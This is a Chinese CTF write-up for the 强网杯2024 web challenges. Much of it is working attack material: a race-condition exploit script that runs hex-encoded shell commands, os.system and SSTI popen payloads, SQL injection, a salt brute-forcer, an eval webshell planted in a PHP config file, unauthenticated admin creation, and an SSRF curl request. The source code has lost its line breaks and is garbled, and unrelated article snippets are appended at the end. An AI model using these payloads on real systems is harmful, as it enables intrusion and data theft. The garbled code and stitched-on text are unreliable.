强网杯2024 Web WP
强网杯2024
参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA
https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ
PyBlockly
源码:
from flask import Flask, request, jsonify
import re
import unidecode
import string
import ast
import sys
import os
import subprocess
import importlib.util
import jsonapp = Flask(__name__)
app.config['JSON_AS_ASCII'] = Falseblacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"def module_exists(module_name):spec = importlib.util.find_spec(module_name)if spec is None:return Falseif module_name in sys.builtin_module_names:return Trueif spec.origin:std_lib_path = os.path.dirname(os.__file__)if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):return Truereturn Falsedef verify_secure(m):for node in ast.walk(m):match type(node):case ast.Import: print("ERROR: Banned module ")return Falsecase ast.ImportFrom: print(f"ERROR: Banned module {node.module}")return Falsereturn Truedef check_for_blacklisted_symbols(input_text):if re.search(blacklist_pattern, input_text):print('black_list over.', re.search(blacklist_pattern, input_text))return Trueelse:print('black_list detected.', re.search(blacklist_pattern, input_text))return Falsedef block_to_python(block):block_type = block['type']code = ''if block_type == 'print':text_block = block['inputs']['TEXT']['block']text = block_to_python(text_block) code = f"print({text})"elif block_type == 'math_number':if str(block['fields']['NUM']).isdigit(): code = int(block['fields']['NUM']) else:code = ''elif block_type == 'text':if check_for_blacklisted_symbols(block['fields']['TEXT']):code = ''else:code = "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"elif block_type == 'max':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block) b = block_to_python(b_block)code = f"max({a}, {b})"elif block_type == 'min':a_block = block['inputs']['A']['block']b_block = block['inputs']['B']['block']a = block_to_python(a_block)b = block_to_python(b_block)code = f"min({a}, {b})"if 'next' in block:block = block['next']['block']code +="\n" + block_to_python(block)+ "\n"else:return code return codedef json_to_python(blockly_data):block = blockly_data['blocks']['blocks'][0]python_code = ""python_code += block_to_python(block) + "\n"return python_codedef do(source_code):hook_code = '''
def my_audit_hook(event_name, arg):blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]if len(event_name) > 4:raise RuntimeError("Too Long!")for bad in blacklist:if bad in event_name:raise RuntimeError("No!")__import__('sys').addaudithook(my_audit_hook)'''print('do!')print('Source code: ',source_code)code = hook_code + source_codetree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)try:if verify_secure(tree): with open("run.py", 'w') as f:f.write(code) result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")os.remove('run.py')return resultelse:return "Execution aborted due to security concerns."except:os.remove('run.py')return "Timeout!"@app.route('/')
def index():return app.send_static_file('index.html')@app.route('/blockly_json', methods=['POST'])
def blockly_json():blockly_data = request.get_data()print(type(blockly_data))blockly_data = json.loads(blockly_data.decode('utf-8'))print(blockly_data)try:python_code = json_to_python(blockly_data)print(python_code)return do(python_code)except Exception as e:return jsonify({"error": "Error generating Python code", "details": str(e)})if __name__ == '__main__':app.run(host = '0.0.0.0')
发现在text经过了unidecode.unidecode,会将中文字符转为英文字符,从而实现绕过黑名单。
源码的大概意思是向blockly_json接口Post需要发的Block参数,flask接受到参数后进行黑名单查询,然后进行拼接语句形成代码
将代码写入run.py,然后执行run.py,五秒后删除run.py
思路一
在text中写入恶意代码(用中文字符替换所有英文字符实现绕过),通过不断写入run.py来实现条件竞争(flask支持多程线,毕竟是web应用,在删除之前,再次发包即可执行run.py)
所以就是要不断向run.py写入我们的dd if=/flag代码,总会有被执行的时候
为了绕过黑名单和实现插入我们的代码:用))((来闭合前后的代码,用**bytes. fromhex(‘72756e2e7079’). decode()**来实现绕过blacklist = [“popen”, “input”, “eval”, “exec”, “compile”, “memoryview”]
text:
‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1
run.py:
print(max('',''))
\n
(open(bytes. fromhex('72756e2e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929')))
\n
print(print('1', 10))
python脚本:
import requests
import json
import threadingurl = 'http://127.0.0.1'
data = {"blocks": {"blocks": [{"type": "print","x": 101,"y": 102,"inputs": {"TEXT": {"block": {"type": "max","inputs": {"A": {"block": {"type": "text","fields": {"TEXT": "‘,‘’))\nopen(bytes。fromhex(’72756e2e7079‘)。decode(),’wb‘)。write(bytes。fromhex(’696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929‘))\n\nprint(print(’1"}}},"B": {"block": {"type": "math_number","fields": {"NUM": 10}}}}}}}}]}
}def send_requests():while 1:r = requests.post(url+'/blockly_json',headers={"Content-Type": "application/json"},data=json.dumps(data))text = r.textif '1 10' is not in text and "No such file or direct" not in text and len(text)>10:print(text)os.exit()threads = []
epochs = 100for _ in range(epochs):thread = threading.Thread(target=send_requests)threads.append(thread)thread.start()for thr in threads:thr.join()
思路二
dd if=/flag写入到1.py,第二次发包利用run.py执行1.py
第一次发包:
写入1.py
open(bytes. fromhex('312e7079'). decode(),'wb'). write(bytes. fromhex('696d706f7274206f730a0a7072696e74286f732e706f70656e282764642069663d2f666c616727292e72656164282929'))
第二次发包:
执行2.py
__import__('1')
思路三
绕过len(event_name) > 4的限制:__import__("builtins").len=lambda a: 1
,'闭合text部分代码,#注释掉后面的代码
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘ls$IFS$9/’)#"},"inputs":{}}]}}'\n__import__("builtins").len=lambda a: 1;__import__('os').system('ls$IFS$9/') #
读不了,用dd提权
{"blocks":{"blocks":[{"type":"text","fields":{"TEXT":"‘\n__import__(”builtins”)。len=lambda a:1;__import__(‘os’)。system(‘dd$IFS$9if=/flag’)#"},"inputs":{}}]}}
xiaohuanxiong
拿到《正确》的源码感觉就比较困难()
git clone https://github.com/forkable/xiaohuanxiong.git
思路一
在application/index/controller/Index.php的search方法处:
$books = $this->bookService->search($keyword, $num);
其中$keyword未进行过滤,并且直接拼接到sql语句中
public function search($keyword, $num){return Db::query("select * from " . $this->prefix . "book where delete_time=0 and match(book_name,summary,author_name,nick_name) against ('" . $keyword . "' IN NATURAL LANGUAGE MODE) LIMIT " . $num);
payload:
?keyword=0') or updatexml(1,concat(0x7e,(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables)),3) #
因为有加salt后md5的操作,我们不能直接解密出来密码
先注册一个空密码的账号,拿到密码的md5后解出来就是盐值,ce6b59575e5106006eee521e1fc77f79 => bf3a27
利用盐值来爆密码:
import hashlib
import itertoolssalt = 'bf3a27'
target_hash = 'cd68b9fa89089351c31f248f7a321583'
chars = '0123456789abcdef'
max_length = 6for length in range(1, max_length + 1):for password_tuple in itertools.product(chars, repeat=length):password = ''.join(password_tuple)hash_attempt = hashlib.md5((password + salt).encode()).hexdigest()if hash_attempt == target_hash:print(f'Found password: {password}')break
后台:application/admin/controller/Index.php
public function update(){if ($this->request->isPost()) {$site_name = input('site_name');$url = input('url');$img_site = input('img_site');$salt = input('salt');$api_key = input('api_key');$front_tpl = input('front_tpl');$payment = input('payment');$site_code = <<<INFO<?phpreturn ['url' => '{$url}','img_site' => '{$img_site}','site_name' => '{$site_name}','salt' => '{$salt}','api_key' => '{$api_key}', 'tpl' => '{$front_tpl}','payment' => '{$payment}' ];
INFO;file_put_contents(App::getRootPath() . 'config/site.php', $site_code);$this->success('修改成功', 'index', '', 1);}}
?url=‘}+@eval($_POST[1])
+{’
思路二
盐值爆不出来的话,继续审计
在application/admin/controller/Admins.php重写初始化,而没有checkAuth,导致了Admins.php下的越权
class Admins extends BaseAdmin
{protected $adminService;protected function initialize(){$this->adminService = new AdminService();}
新增管理员:
public function save(Request $request){$data = $request->param();$admin = Admin::where('username','=',trim($data['username']))->find();if ($admin){$this->error('存在同名账号');}else{$admin = new Admin();$admin->username = $data['username'];$admin->password = md5(strtolower(trim($data['password'])).config('site.salt'));$admin->save();$this->success('新增管理员成功');}}
由于网址默认设置了伪静态,所以应该访问admin/admins/save.html
// URL伪静态后缀
'url_html_suffix' => 'html',
payload: admin/admins/save.html Post:username=admin1&password=123456
在处application/admin/controller/Payment.php,存在后台命令执行漏洞,直接传参json写马,<?php system(‘cat /flag’);
//支付配置文件
public function index()
{if ($this->request->isPost()) {$content = input('json');file_put_contents(App::getRootPath() . 'config/payment.php', $content);$this->success('保存成功');}$content = file_get_contents(App::getRootPath() . 'config/payment.php');$this->assign('json', $content);return view();
}
拿到shell后,flag在根目录
Proxy
mian.go
package mainimport ("bytes""io""net/http""os/exec""github.com/gin-gonic/gin"
)type ProxyRequest struct {URL string `json:"url" binding:"required"`Method string `json:"method" binding:"required"`Body string `json:"body"`Headers map[string]string `json:"headers"`FollowRedirects bool `json:"follow_redirects"`
}func main() {r := gin.Default()//api1,访问得到就给flagv1 := r.Group("/v1"){v1.POST("/api/flag", func(c *gin.Context) {cmd := exec.Command("/readflag")flag, err := cmd.CombinedOutput()if err != nil {c.JSON(http.StatusInternalServerError, gin.H{"status": "error", "message": "Internal Server Error"})return}c.JSON(http.StatusOK, gin.H{"flag": flag})})}//api2v2 := r.Group("/v2"){v2.POST("/api/proxy", func(c *gin.Context) {var proxyRequest ProxyRequestif err := c.ShouldBindJSON(&proxyRequest); err != nil { //把请求的json数据解析后绑定到proxyRequestc.JSON(http.StatusBadRequest, gin.H{"status": "error", "message": "Invalid request"})return}//根据proxyRequest的内容新建请求req, err := http.NewRequest(proxyRequest.Method, proxyRequest.URL, bytes.NewReader([]byte(proxyRequest.Body)))
payload:
curl -X POST http://47.93.15.136:30891/v2/api/proxy \
-H "Content-Type: application/json" \
-d '{"url": "http://127.0.0.1:8769/v1/api/flag","method": "POST","body": "","headers": {},"follow_redirects": false
}'
snake
脑洞:JS+SSTI
一个js贪吃蛇游戏,修改本地js文件,通关之后发现/snake_win?username=admin
路由, 进行联合查询, 并发现 SSTI:
1' union select 1,2,"{{lipsum.__globals__.__builtins__.eval('__import__(\'os\').popen(\'cat /flag\').read()')}}"--%20
lipsum是jinjia模板中用于生成随机文本的一种方法
platform
相关文章:

强网杯2024 Web WP
强网杯2024 参考链接:https://mp.weixin.qq.com/s/Mfmg7UsL4i9xbm3V3e5HMA https://mp.weixin.qq.com/s/vV_II8TpyaGL4HUlUS57RQ PyBlockly 源码: from flask import Flask, request, jsonify import re import unidecode import string import ast …...

《双指针篇》---盛最多水的容器_Java(中等但简单)
题目传送门 1.首先计算出暂时的盛水体积 2.求暂时体积和最大体积max的最大值 3.更新right和left。如果height[left] > height[right] 那么right--否则left; class Solution {public int maxArea(int[] height) {int left 0,right height.length-1; int ret 0;while (lef…...

Linux: network: 环境:网络burst的一个原因,虚拟机感染病毒导致,外部网络设备太忙
最近碰到一个问题,测试人员在测试一周内的产品稳定性,带有的业务非常大。 总是不能满足需要的时长,总是在一段时间内出现丢包,业务出现错误的现象。从tshark/tcpdump的抓包看,确实在某个时间段,有一次十几秒…...

idea使用Translation插件实现翻译
1.打开idea,settings,选择plugins,搜索插件Translation,安装 2.选择翻译引擎 3.配置引擎,以有道词典为例 3.1 获取应用ID,应用秘钥 3.1.1 创建应用 点击进入有道智云控制台 3.1.2 复制ID和秘钥 3.2 idea设…...

[OS] sys_mmap() 函数+
流程图分析 1. 调用 sys_mmap() 步骤:当用户程序调用 mmap() 时,操作系统会进入 sys_mmap() 函数。作用:这是整个 mmap() 操作的入口。系统调用的实现从这里开始。 2. 提取参数(Fetch Argument) 步骤:从…...

轧钢机辊道多电动机传动控制系统
轧钢机辊道多电动机传动控制系统是一种复杂的工业自动化系统,主要用于控制轧钢车间中多个电动机驱动的辊道,以实现轧件的高效、稳定输送和加工。以下是对该系统的详细介绍: 系统组成 轧线辊道TDC控制器:作为系统的核心控制单元&a…...

使用 Nginx 部署 Python 项目
今天的目标是完成一个 Python Web 项目的线上部署,我们使用最新的 Django 项目搭建一个简易的 Web 工程,然后基于 Nginx 服务部署该 Python Web 项目。 1. 前期准备 1.1 安装虚拟环境pyenv 使用虚拟环境逐渐成了 python 项目开发中的一种主流方式。py…...

[笔记] SQL 优化
一. 数据库设计优化 1. 选择合适的字段类型 设计表时,尽量选择存储空间小的字段类型: 整型字段:从TINYINT、SMALLINT、INT到BIGINT。小数类型:对于金额等需精确计算的数值使用DECIMAL,避免使用FLOAT和DOUBLE。字符串…...

【InfluxDB】InfluxDB 2.x基础概念及原理
InfluxDB简介 什么是时序数据库 时序数据库,全称时间序列数据库(Time Series Database,TSDB),用于存储大量基于时间的数据。时序数据库支持时序数据的快速写入、持久化,多维度查询、聚合等操作࿰…...

.net Core 使用Panda.DynamicWebApi动态构造路由
我们以前是通过创建controller来创建API,通过controller来显示的生成路由,这里我们讲解下如何不通过controller,构造API路由 安装 Panda.DynamicWebApi 1.2.2 1.2.2 Swashbuckle.AspNetCore 6.2.3 6.2.3添加ServiceAction…...

Spring框架和Spring Boot框架都使用注解来简化配置和提高开发效率,但它们之间存在一些区别
Spring框架和Spring Boot框架都使用注解来简化配置和提高开发效率,但它们之间存在一些区别: Spring框架注解: Autowired:自动导入对象到类中,被注入的类需要被Spring容器管理。Component、Repository、Service、Contro…...

从数据提取到管理:TextIn平台的全面解析与产品体验
一、引言 在现代信息时代,文档解析和管理已经成为企业和开发者不可或缺的工具。TextIn是合合信息旗下的一款智能文档处理平台,为开发者和企业提供高效、精准的文档解析工具,帮助用户轻松应对各种复杂的文档处理需求。本文将深入探讨TextIn的…...

2024 Rust现代实用教程 Error错误处理
文章目录 一、错误处理之:Result、Option以及panic!宏1.Result2.Option3.panic! 二、错误处理之:unwrap()与?1.unwrap()2.?运算符 三、自定义一个Error类型参考 一、错误处理之:Result、Option以及panic!宏 Rust中的错误可以分为…...

android 逆向破解360加固(MT管理器反编译)
1.需要准备的环境MT管理器 2.一台root手机 3,需要给app脱壳https://nop.gs/在这里脱壳 4.将脱壳的文件解压之后解压 5.用MT管理器打开需要反编译破解的app 6.然后把脱壳的classes.dex添加到破解的app里面删除原来的classes.dex 7.删除360加固的so,so在assets文件里面删除libjia…...

使用 SSH 蜜罐提升安全性和记录攻击活动
文章目录 使用 SSH 蜜罐提升安全性和记录攻击活动前言整体逻辑讲解安全最佳实践蜜罐的类型与选择数据分析与响应进一步学习资源修改 SSH 服务端口部署 FakeSSHFakeSSH 简介部署步骤记录攻击 部署 SSHSameSSHSame 简介部署步骤观察攻击行为 总结 使用 SSH 蜜罐提升安全性和记录攻…...

无人机拦截捕获/直接摧毁算法详解!
一、无人机拦截捕获算法 网捕技术 原理:抛撒特殊设计的网具,捕获并固定无人机。 特点: 适用于小型无人机。 对无人机的损害较小,基本不影响其后续使用。 捕获成功率较高,且成本相对较低。 应用实例:…...

后端eclipse——文字样式:UEditor富文本编辑器引入
目录 1.富文本编辑器的优点 2.文件的准备 3.文件的导入 导入到项目: 导入到html文件: 编辑 4.富文本编辑器的使用 1.富文本编辑器的优点 我们从前端写入数据库时,文字的样式具有局限性,不能存在换行,更改字体…...

thinkphp6 redis 哈希存储方式以及操作函数(笔记)
逻辑:如果redis里没有指定表数据就进行存储再输出,如果有就直接输出,代码优化后几万条数据从数据库入redis也是三四秒的时间,数据以json方式存储:key用于数据ID 跟数据库数据ID同步,value用于存储整个字段包…...

「Mac畅玩鸿蒙与硬件28」UI互动应用篇5 - 滑动选择器实现
本篇将带你实现一个滑动选择器应用,用户可以通过滑动条选择不同的数值,并实时查看选定的值和提示。这是一个学习如何使用 Slider 组件、状态管理和动态文本更新的良好实践。 关键词 UI互动应用Slider 组件状态管理动态数值更新用户交互 一、功能说明 在…...

【嵌入式】STM32中的SPI通信
SPI是由摩托罗拉公司开发的一种通用数据总线,其中由四根通信线,支持总线挂载多设备(一主多从),是一种同步全双工的协议。主要是实现主控芯片和外挂芯片之间的交流。这样可以使得STM32可以访问并控制各种外部芯片。本文…...

后端:Spring、Spring Boot-配置、定义bean
文章目录 1. 什么是Bean,如何配置2. 如何配置bean2.1 使用注解Bean2.2 使用注解Import 1. 什么是Bean,如何配置 被spring容器所管理的对象被称为bean,管理方式可以有纯xml文件方式、注解方式进行管理(比如注解Component)。 在Spring Boot中&…...

【Git】Git 远程仓库命令详解
目录 引言1. Git Fetch、Git Pull 和 Git Push 简介1.1 概念总结1.2 图示概念 2. 分支的概念2.1 分支定义2.2 分支的特点2.3 分支示例2.4 基本操作命令2.5 分支的使用场景 3. Git Fetch 用法3.1 基本命令3.2 获取特定分支3.3 查看更新内容3.4 使用示例3.5 适用场景 4. Git Pull…...

html简易流程图
效果图 使用htmlcssjs,无图片,没用Canvas demo: <!DOCTYPE html> <html> <head><link href"draw.css" rel"stylesheet" /><script src"draw.js" type"text/javascript"></…...

Java 入门
目录 Java简介 Java JDK开发环境配置 第一个Java程序 Java标识符与关键字 Java注释 Java常量 Java变量的定义和使用 Java简介 Java简介: Java是由Sun Microsystems公司于1995年推出的一门面向对象的高级程序设计语言,可以运行于多个平台,其…...

JVM基本结构和垃圾回收机制
一、JVM基本结构 Java虚拟机(JVM, Java Virtual Machine)是Java程序执行的环境,其基本结构可以分为以下几个主要部分: 类加载器子系统(Class Loader Subsystem): 负责加载Java类文件到内存中。…...

CentOS 7 安装 ntp,自动校准系统时间
1、安装 ntp yum install ntp 安装好后,ntp 会自动注册成为服务,服务名称为 ntpd 2、查看当前 ntpd 服务的状态 systemctl status ntpd 3、启动 ntpd 服务、查看 ntpd 服务的状态 systemctl start ntpdsystemctl status ntpd 4、设置 ntpd 服务开机启…...

Spring Boot 配置文件启动加载顺序
前言 Spring Boot的启动加载顺序是一个涉及多个步骤和组件的过程。Spring Boot通过一系列默认设置简化了应用程序的配置,使得开发者能够快速地搭建和部署应用。为了实现这一目标,Spring Boot采用了一种分层和优先级机制来加载配置文件。 一、Spring Bo…...

webrtc agc2实现原理
WebRTC的AGC2(自适应增益控制器)是一种用于音频处理的算法,可以根据输入信号的强度自动调整增益,使输出信号的音量保持稳定。其详细原理如下: 噪声估计 首先,AGC2需要对输入信号中的噪声进行估计ÿ…...

2024.11.03 周报
一 实时超分音频同步问题: 处理方向: 按照胡学长的办法尝试: 前面处理视频, 将视频中音频提取出来, 将音频每隔 1-2 秒保存为一段 (这样将音频缓存在内存中) , 然后依次播放, 但是音频是44.1KHz采样率,每秒44100次的频率. 每次间隔中程序处理的极短时间…...

Oceanbase学习之一迁移mysql数据到oceanbase
一、数据库环境 #mysql环境 root192.168.150.162 20:28: [(none)]> select version(); ---------- | version() | ---------- | 8.0.26 | ---------- 1 row in set (0.00 sec) root192.168.150.162 20:28: [(none)]> show variables like ‘%char%’; ---…...